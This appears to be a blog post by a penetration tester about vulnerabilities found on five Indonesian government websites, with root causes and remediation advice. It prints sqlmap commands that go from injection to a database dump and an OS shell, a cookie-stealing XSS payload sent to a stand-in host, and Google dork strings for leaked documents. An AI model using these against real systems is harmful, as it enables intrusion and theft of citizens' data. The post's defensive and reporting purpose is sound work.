← Back

Pentesting Government Websites

I pentested five Indonesian government websites over twelve months. Ministry portals, provincial government platforms, a public complaint system, internal admin portals. SQL injection, all five. Four had broken access control (IDOR, Insecure Direct Object Reference) exposing citizen PII. Four had XSS.

Here's what I found, how I exploited it, and how I reported it to people who don't speak CVE.

The Five Engagements

Each engagement consisted of two to three weeks of reconnaissance, automated scanning (Nessus, Nuclei), manual testing (Burp Suite, sqlmap), and one week of report writing.

Vulnerability Patterns

Key Findings (5 sites)
1. SQL Injection (SQLi)               , 5/5 sites (100%)
2. Missing Security Headers           , 5/5 sites (100%)
3. Security Misconfiguration          , 5/5 sites (100%)
4. Broken Access Control (IDOR) , 4/5 sites (80%)
5. Cross-Site Scripting (XSS)         , 4/5 sites (80%)
6. Outdated Components (CVEs >9.0)    , 4/5 sites (80%)
7. Sensitive Data Exposure            , 3/5 sites (60%)
8. Weak Authentication / No MFA       , 3/5 sites (60%)

Five out of five had SQL injection, not blind SQLi requiring hours of enumeration, but union-based and error-based, often straight to --os-shell within minutes. On sites handling citizen data, connected to national databases.

The misconfigurations were just as consistent. Site A had a public-facing /backup/ directory with a db_dump_20241001.sql.gz file containing every user's email and password hash. Site E had debug mode running in production, every 500 error dumped the MySQL root password in the connection string. Site C had an S3 bucket set to public-read containing scanned citizen ID cards from the complaint attachment system. All found within the first two hours, through directory brute-forcing and checking the obvious things.

SQL Injection

At Site A, the ministry portal's login page had a search function for public documents. The keyword parameter was injectable with classic union-based SQLi. A single quote returned a full MySQL syntax error, display_errors was on in production. The schema was readable directly from error messages.

SQLMap, Error-Based SQLi to Shell (Site A)
sqlmap -u "https://target.go.id/login.php" --data="username=admin&password=test" --technique=E --dbms=mysql --dbs
sqlmap -u "https://target.go.id/login.php" --data="username=admin&password=test" --technique=E -D app_db -T users --dump
sqlmap -u "https://target.go.id/login.php" --data="username=admin&password=test" --technique=E --os-shell

The MySQL user had FILE privilege and secure_file_priv was empty (the default). Within fifteen minutes of finding the injection point, a shell was established on the web server. This pattern, SQLi to shell in under an hour, recurred across three sites.

At Site D, the university portal's users table stored 60,000+ passwords in plain text. Not hashed. Not even MD5. The IT staff initially suggested MD5 "because it's faster than bcrypt and we have a lot of logins." They later adopted a migration plan to bcrypt.

At Site E, the healthcare portal's clinic-search function took a kabupaten parameter that was injectable. The database contained patient diagnoses, treatment histories, and medication records, protected health information under Indonesian law, accessible through an untested search box.

IDOR (Insecure Direct Object Reference)

Site B's endpoint: /layanan/dokumen/view.php?id=2047. Changing the numeric ID retrieved another citizen's national ID card, family card (Kartu Keluarga), birth certificate, and most recent tax filing. No session validation on document ownership. No authorization check.

A Burp Intruder run with a numeric payload (1–5000, 10 threads, no throttling needed) downloaded 4,200+ document sets in twenty minutes, names, NIK numbers, addresses, family relationships, tax IDs.

Site C, the public complaint system, had a similar pattern at /pengaduan/detail.php?tiket=LT-2024-08371. Incrementing the ticket number exposed all complaints, including whistleblower reports submitted with an expectation of confidentiality. These were flagged URGENT with a recommendation to take the endpoint offline until authorization was implemented.

At one ministry portal, broken access control went beyond documents. Once inside the internal dashboard, I could view and book meeting rooms across the building. Reserve vehicles from the motor pool. Read internal memos and circular letters that were never meant for public eyes. See which assets were currently checked out and by whom. All of this from incrementing a parameter. The gap between "logged in" and "authorized" simply didn't exist.

XSS (Cross-Site Scripting)

XSS appeared in four out of five sites: reflected, stored, and DOM-based. Site B's population data portal had stored XSS in the "address update" form. The address field accepted raw HTML with no sanitization or output encoding. An attacker could inject <script>fetch('https://evil.c2/steal?cookie='+document.cookie)</script>, the payload would execute every time an admin opened the verification dashboard, enabling session hijacking and unauthorized modification of civil registry records.

Root Causes

The vulnerabilities were systemic, not incidental:

The Legacy PHP Trap. Three sites ran on end-of-life PHP versions, CodeIgniter 3 (EOL 2021), Laravel 5.x with no patches, and one site still using mysql_query() on PHP 5.6. Upgrading breaks features; rewriting isn't budgeted. The code becomes untouchable.

The Procurement Problem. Lowest-bidder tender systems treat security testing as a single checkbox ("OWASP-compliant application") with no specific requirements, no acceptance criteria, and no clause requiring remediation. Vulnerabilities sit in production for twelve months between annual assessments.

Zero DevSecOps. No CI/CD pipeline. Manual deployments via FTP. Credentials hardcoded in config.php files edited directly on production via cPanel. Security testing happens once a year, and findings are treated as a one-time cleanup rather than a continuous process.

Google Dorks. Indonesian government sites leak data through search engines at an alarming rate. site:go.id filetype:pdf "rahasia" returns internal documents. site:go.id filetype:xlsx "anggaran" returns budget spreadsheets. No SQL injection needed. No access control bypass. Just Google. I've found procurement contracts, employee salary tables, internal audit reports , all indexed, all public, all reachable with a single search string. The data didn't need to be hacked. It was already sitting on Google's cache.

Why This Keeps Happening

Indonesian government IT meme: yg penting jalan
The unofficial motto of government IT procurement: "yang penting jalan" (as long as it runs)

There"s a saying in Indonesian government circles: "yang penting jalan." As long as the website loads, as long as the form submits, as long as nobody complains loud enough. Security? That"s not "jalan." Security is invisible until it fails. And when it fails, the response isn"t "let"s fix this properly," it"s "who can we blame?"

A friend of mine worked at a state-owned enterprise that"s now bankrupt. The head office hired an agency to build an accounting system. Budget: 5 billion rupiah. The software was delivered, but it was never used. Nobody knows exactly why, whether it didn"t match requirements, the training was insufficient, or nobody tried to make it work. Meanwhile, my friend built their own system in Excel to handle accounting for their branch. It worked, it covered everything they needed. And the Excel file spread organically to other branches. That"s how our government wastes its budget. Not because the money isn"t there. Because the people handling it aren"t competent. As someone on Reddit put it: "bukan masalah bajetnya kurang, tapi emang orang-orangnya aja yang ngga becus."

Another Reddit user who worked as a DevOps engineer on a government project shared this: "Gede loh dana tender project nya, tapi ke korupsi lah ya jelas. Gw role sebagai DevOps aja perbulan cuma digaji 8 juta, padahal infrastrukturnya udah mantep betul, pake Kubernetes buat production, Jenkins + ArgoCD, ada juga yang pake Laravel Forge, semua server di AWS." World-class infrastructure. Third-world salary. The disconnect is staggering.

And the user experience? Someone on Reddit who registered for the CPNS (civil servant exam) website described it perfectly: "Webcam sama tombol ambil gambarnya gak sejajar, harus ngescroll ke kanan dulu biar keliatan gambarnya. Pas udah diambil, hasilnya malah jadi wide." This is a national-level recruitment portal. Millions of applicants. And the webcam button isn"t aligned with the capture button.

The Data Doesn't Lie

Indonesia ranks among top 10 countries for data breaches
Indonesia masuk 10 negara dengan kebocoran data terbesar. Source: Katadata

Indonesia ranks among the top 10 countries globally for data breaches. Not because the attackers are more sophisticated. Because the targets never patched their login forms. The data is publicly available, the vulnerabilities are documented, and yet the breaches keep happening. The gap isn"t technical. It"s cultural. It"s procurement. It"s accountability. For a wider picture of where things are headed, read my 2026 Indonesia cybersecurity outlook.

What Government Sites Should Do

I'm not here to write policy papers. But after five engagements, the same gaps appeared every time. Here's what would have stopped me cold on all five sites.

1. Deploy a WAF immediately. Cloudflare or ModSecurity, free tier, one afternoon. It stops 80% of what I threw at these sites. Does it fix the root cause? No. Does it buy you time to fix the root cause while the site stays online? Yes. Every government site I tested lacked one. Every site that deployed one after my report stopped the bleeding in 24 hours.

2. Conduct quarterly VAPT, not annual. Twelve months between tests is an eternity. One site I tested had a backup directory with a database dump exposed for eight months before I found it. Quarterly testing catches these before they become news headlines. BSSN mandates periodic testing , treat it as a compliance baseline, not a ceiling.

3. Fix the Google dork problem today. Add robots.txt disallows for sensitive directories. Move documents out of the web root. Audit what's indexed on your domain with site:yourdomain.go.id. This is free. It takes one person one afternoon. You'll find things you didn't know were public.

4. Implement basic access control. If user A can see user B's data by changing a number in the URL, you don't have access control. Check ownership on every request. It's not a feature, it's the foundation. Every modern framework supports middleware for this. Use it.

5. Parameterize your queries. All five sites had SQL injection because they concatenated user input directly into SQL strings. Prepared statements fix this permanently. If your PHP is too old for prepared statements, your PHP is too old for production. Upgrade it or take the site offline until you can.

6. Train your people, start small. You may not have budget for a full SOC. Fine. Start with one person in the IT unit who knows the OWASP Top 10 and has the authority to say "we are not deploying this." Send them to application security training. Then work toward SOC-as-a-Service or an internal SOC over time. The PDP Law and BSSN mandates will eventually require real-time monitoring anyway. Start now, not when the regulation forces it.

Closing

I found SQL injection on every site. I found IDOR on four. I found XSS on four. I accessed documents, memos, room bookings, and vehicle reservations without ever triggering an alert. The tools I used are free and publicly documented. If I can do this, someone with worse intentions already has. The question isn't whether government sites are vulnerable. The question is how long until the next breach makes the news, and whether the site you're responsible for will be in the headline.

References

Republic of Indonesia. (2022). Law No. 27 of 2022 on Personal Data Protection. LN.2022/No.196. Jakarta.

OWASP Foundation. (2021). OWASP Top 10 Web Application Security Risks. https://owasp.org/Top10/

MITRE Corporation. (2024). MITRE ATT&CK Framework. https://attack.mitre.org/

Katadata. (2024). Indonesia Masuk 10 Negara dengan Kebocoran Data Terbesar. https://databoks.katadata.co.id/infografik/2024/07/02/indonesia-masuk-10-negara-dengan-kebocoran-data-terbesar

LhaGeek. (2024). Mengapa Keamanan Website Pemerintah Indonesia Lemah. https://www.lhageek.com/2024/06/6787/mengapa-keamanan-website-pemerintah-indonesia-lemah